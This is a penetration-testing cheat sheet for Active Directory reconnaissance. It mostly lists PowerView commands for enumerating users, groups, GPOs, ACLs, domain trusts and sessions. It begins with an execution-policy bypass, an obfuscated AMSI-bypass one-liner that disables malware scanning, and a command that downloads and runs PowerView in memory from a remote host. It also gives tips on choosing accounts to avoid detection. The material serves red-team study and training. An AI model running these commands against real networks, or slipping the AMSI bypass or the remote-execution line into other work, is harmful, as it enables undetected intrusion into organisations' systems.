AD Enumeration

Execution Policy Bypass:

powershell -ep bypass

Bypass AMSI:

sET-ItEM ('V'+'aR' + 'IA' + 'blE:1q2' + 'uZx')([TYpE]("{1}{0}"-F'F','rE'));(GeT-VariaBle("1Q2U" + "zX") -VaL)."A`ss`Embly"."GET`TY`Pe"(("{6}{3}{1}{4}{2}{0}{5}" -f 'Util','A','Amsi','.Management.','utomation.','s','System'))."g`etf`iElD"(("{0}{2}{1}" -f 'amsi','d','InitFaile'),("{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'))."sE`T`VaLUE"(${n`ULl},${t`RuE})

PowerView from remote into memory:

iex (iwr 'https://<remote_address>/PowerView.ps1')

Enumerate domain

(Powerview)

Get-NetDomain
Get-NetDomain -Domain <domain>

Enumerate domain-controllers

Get-NetDomainController
Get-NetDomainController -Domain <domain>

Enumerate Policies

Get-DomainPolicy
(Get-DomainPolicy)."Policy Name"

Enumerate Users:

Get-NetUser
Get-NetUser -Username <username>
Get-UserProperty
Get-UserProperty -Properties <propertiy>
Find-UserField -SearchField <field> -SearchTerm "<grepable term>"
Get-UserProperty -Properties samaccountname,<property> |Select-String -Pattern  "<grapable term>"

• Hint to avoid detection:

  • Look for users with pwdlastset that is not very old;
  • Look for users that logoncount is big;
  • Look for users that badpwdcount is non-zero or a big numer;

Enumerate Computer objets:

Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer -Computer <computername>
Get-NetComputer -<Property> <property>
Get-NetComputer |Out-String -Stream | Select-String -Pattern "<pattern1>","<pattern2>",...
Get-NetComputer -FullData | select term1,term2,...
Get-NetComputer -Fulldata |Select  dnshostname,distinguishedname | Out-String -Stream |Select-String -pattern "OU=<organization-unit-name>"

All Computers of a certain Organization Unit

Get-NetComputer -Fulldata |Select  dnshostname,distinguishedname | Out-String -Stream |Select-String -pattern "OU=<organization-unit-name>"

Enumerate live machines

Get-NetComputer -Computer <computername|dnshostname> -Ping

Enumerate Groups in the current domain

Get-NetGroup
Get-NetGroup -Domain <domain>
Get-NetGroup -Domain <domain> -FullData | select <term>
Get-NetGroup *admin*
Get-NetGroup -FullData | select name |Out-String -Stream |Select-String -Pattern "admin"

Enumerate membership

Get-NetGroupMember -GroupName "<groupname>" [-Domain "<domain>"] -Recurse // what users are member of certain group
Get-NetGroup -Username "username" // what groups a user is member of

Enumerate Local Groups

Get-NetLocalGroup -ComputerName "<computername>" -ListGroups // all localgroups, requires admin priv for non-dc machines
Get-NetLocalGroup -ComputerName "<computername>" -Recurse // All Members of localgroups, requires the same privs of the above

Enumerate Active logged on users on a Computer

Get-NetLoggedon -ComputerName "<computername> // requires admin rights"
Get-LastLoggedOn -ComputerName "<computername> // requires admin rights "
Get-LoggedonLocal -ComputerName "<computername> // Requires remote registry enabled, it is enabled by default"

Find Shares

Get-NetFileServer // retrieve all file servers on the domain
Invoke-ShareFinder [-Versbose] [-ExcludeIPC -ExcludePrint -ExcludeStandard]
Invoke-FileFinder [-Verbose] // Sensitive files on computers in the domain

Group Policies

Get-NetGPO
Get-NetGPO [-ComputerName "<computername>"] [-GPOName "<{OU-UUID}>"] //UUID = gplink uid
Get-NetGPOGroup
Get-NetGroupMember -GroupName <groupname>
Find-GPOComputerAdmin // users of a localgroup using GPO
Find-GPOComputerAdmin [-ComputerName  "<computername>"]
Find-GPOLocation -UserName <username> // machines where a user is member of a group

GPOs Applied to machines of an specific OU

Get-NetGPO -GPOName "{$(Get-NetOU -OUName "<organization_unit_name>" -FullData |select -ExpandProperty gplink | %{ $_.Split("{")[1].Split("}")[0]; })}"

Organization Units:

Get-NetOU [-FullData]

ACLS

Get-ObjectACL
Get-ObjectACL [-SamAccountName <account_name>] [-ResolveGUIDs]
Get-ObjectACL [-ADSprefix 'ads'] [-ADSPath '<ads_path>'] [-Verbose]
Get-PathAcl -Path "aclpath"  // get acls associated with the path

• Most important properties of an ACE:
  • ObjectDN
  • IdentityRefrence
  • ActiveDirectoryRights

Scan for interesting ACEs

Invoke-ACLScanner -ResolveGUIDs

Domain Trusts

• One-way trust

  • The domain B is trusted by domain A, therefore domain B can access resources from domain A, not the other way around

A <- B

• Two-way trust
  • Both domains trust each othe and therefore they can access each other's resources

A <-> B

• Transitive Trusts
  • Domain A have a two-way trust with domain B which also has it with domain C, therefore, domain C can access resources from domain A and the other way around is also valid.

A <-> B <-> C = A <-> C

• Tree-root trust

  • Created automatically whenever a new domain tree is added to the forest root.

• External Trusts

  • Trust established between two non-root domain from diferent forests
    • not transitive

• Forest trusts

  • Trust established between root domain of different Forests
  • Non-implicit. Always non-Transitive

Forests are considered a security boundary

All the intra-forest trusts are automatic

Trusts

Get-NetDomainTrust
Get-NetForest [-Forest '<forest>']
Get-NetForestDomain [-Forest '<forest>']
Get-NetForestCatalog [-Forest '<forest>']
Get-NetForestTrust [-Forest '<forest>']

Local Admin Access

• Intrusive and noisy.

Find-LocalAdminAccess [-Verbose] // Calls Get-NetComputer and use multi-threaded
                                 // Invoke-CheckLocalAdminAccess on each machine
Invoke-CheckLocalAdminAccess
Invoke-UserHunter [-GroupName "groupname"] -[CheckAccess]

Get user sessions

Get-NetSession [-Computername "<computername>"]

Remove NetSessionEnum permission from the Authenticated Users Groups

.\NetCease.ps1

Interesting files to look!

GET-PSReadlineOptions
